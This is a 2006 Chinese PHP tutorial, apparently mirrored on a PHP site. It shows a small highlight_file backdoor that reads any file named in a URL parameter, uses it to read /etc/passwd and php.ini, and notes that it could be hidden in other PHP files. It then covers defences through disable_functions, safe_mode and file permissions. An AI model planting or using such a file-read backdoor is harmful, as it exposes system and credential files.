Heim  >  Artikel  >  php教程  >  使用php代码加亮函数构造php小后门

使用php代码加亮函数构造php小后门

WBOY
WBOYOriginal
2016-06-21 09:06:511037Durchsuche

函数

[  后门构造 ]

我们知道php非常强大,并且有很多有趣的功能,比如它就自带了一个php代码加亮的函数,叫做:highlight_string,它的参数就是一个字符串,如果这个字符串中包含了PHP代码,那么它将高亮显示,并且直接输出在浏览器中。
比如如下的代码:
highlight_string('');
?>
执行后,在浏览器中输出:
<font color="#000000"><br><font color="#0000BB"><?php phpinfo</font><font color="#007700">(); </font><font color="#0000BB">?></font><br></font><br></font>

显示代码的颜色,在php.ini文件中可以设置,php.ini中有如下选项:
;highlight.string  = #DD0000
;highlight.comment = #FF9900
;highlight.keyword = #007700
;highlight.bg      = #FFFFFF
;highlight.default = #0000BB
;highlight.html    = #000000

这个是直接显示字符串颜色的,那么我要显示整个PHP文件呢?也有函数:highlight_file,函数参数就是文件名或者文件路径。这个函数跟上面函数功能类似,不过它提交的是一个文件的路径而已。

那么我们的小后门关键就在这里了,就是大概我们利用highlight_file函数来帮助我们读取系统中任意文件,现在我们构造一段测试代码。

$file = $_GET['f'];
$file = $file ? $file : __FILE__;
highlight_file($file);
?>

代码大致功能就是通过URL中提交一个变量名为f的变量接受需要高亮显示代码的php文件路径,然后程序在调用highlight_file函数来显示该文件。然后把该文件保存到我的个人主目录的public_html目录下,文件名为test.php。

现在我们使用firefox打开:http://192.168.0.1/~heiyeluren/test.php,返回的是我们test.php的文件内容,现在我们存取passwd文件看看:http://192.168.0.1/~heiyeluren/test.php?f=/etc/passwd
马上页面里就显示了很多用户信息:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
......

我们再查看php的配置文件php.ini的信息:
http://192.168.0.1/~heiyeluren/test.php?f=/usr/local/php/lib/php.ini
马上显示了:
[PHP]

;;;;;;;;;;;
; WARNING ;
;;;;;;;;;;;
; This is the default settings file for new PHP installations.
; By default, PHP installs itself with a configuration suitable for
; development purposes, and *NOT* for production purposes.
; For several security-oriented considerations that should be taken
; before going online with your site, please consult php.ini-recommended
; and http://php.net/manual/en/security.php.

 ......

看来只要权限允许,很多文件都能够直接读取,对我们系统构成了巨大威胁。换句话说,如果把上面代码插入到当前web系统中其他任意一个能够直接访问的php文件中,通过特殊的变脸进行激活,而且一般程序员是不会那么仔细的检查每个PHP程序文件,那么恶意用户就能够随时随地查看我们的系统文件。


[  系统防范 ]

那么,如果防止,或者说拒绝类似的问题呢?因为,同样的,php的文件存取函数非常多,比如file、file_get_contents、readfile等函数,我们如何防止这些函数带来的威胁呢?


解决方法一:

如果系统中只是跟数据库进行交互,那么完全可以屏蔽掉这些文件存取函数,象fopen、file、file_get_contents、readfile、opendir等函数,方法就是在php的配置文件php.ini中进行禁止,php.ini中有一个选项叫做disable_functions,我们可以把需要屏蔽的函数放到里面:

disable_functions = highlight_file,fopen,file,file_get_contents,readfile,opendir

那么上面那些函数就无法使用了,比如你调用了highlight_file函数,那么php引擎会提示你:

Warning: highlight_file() has been disabled for security reasons in /home/heiyeluren/public_html/test.php on line 5

当然,我们不能一概而杀,只是说你可以禁止掉那些基本不怎么使用的函数,比如highlight_file我觉得就使用的比较少。


解决方法二:

第一种方法太强制性了,函数禁止后将无法访问该函数,总是不是那么的适合,对于一些空间提供商来讲,是不合理的,那么还有一个解决方法,还是配置我们的php.ini,打开php的安全模式:

safe_mode = On

当然,如果你需要,最好再配置一下open_basedir之类的选项来更好的控制,具体可参考php手册。
当我们打开了php的安全模式后,我们再来访问一下/etc/passwd,提交URL:

http://192.168.0.1/~heiyeluren/test.php?f=/etc/passwd

那么浏览器中马上就显示:

Warning: highlight_file() [function.highlight-file]: SAFE MODE Restriction in effect. The script whose uid is 500 is not allowed to access /etc/passwd owned by uid 0 in /home/heiyeluren/public_html/test.php on line 5


解决方法三:

在不损失我们PHP强大功能前提下,那些函数都能够正常使用,那防范方法就是设置我们系统中各个目录的各种不同访问权限,比如我们的/etc/passwd文件。比如默认是这个权限:
[~]# ls -al /usr/local/php/lib/php.ini
-rw-r--r--  1 root root 41489 5 12:40 /usr/local/php/lib/php.ini


我们设置设置一下不是随便能够读的:
[~]# chmod 640 /usr/local/php/lib/php.ini
[~]# ls -al /usr/local/php/lib/php.ini
-rw-r-----  1 root root 1865 Nov 27 01:16 /usr/local/php/lib/php.ini

现在,我们在访问http://192.168.0.1/~heiyeluren/test.php?f=/usr/local/php/lib/php.ini 看看:

Warning: highlight_file(/usr/local/php/lib/php.ini) [function.highlight-file]: failed to open stream: Permission denied in /home/heiyeluren/public_html/test.php on line 5

Warning: highlight_file() [function.highlight-file]: Failed opening '/usr/local/php/lib/php.ini' for highlighting in /home/heiyeluren/public_html/test.php on line 5

警告说没有权限读取/usr/local/php/lib/php.ini这个文件,顺利达到我们的目的。


[  结束语 ]

PHP的功能非常强大,希望更多的开发者认识到这一点,早点使用这个强大的语言。语言强大,当然,安全也会成为一个问题,我们不管是开发者还是系统管理员,我们都需要密切沟通,把我们的系统做的既安全,又好用。我们就需要努力学习,在强大功能和安全性之间寻求一个良好的结合点。


write by heiyeluren
2006-03-05 下午 13:35

 



Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn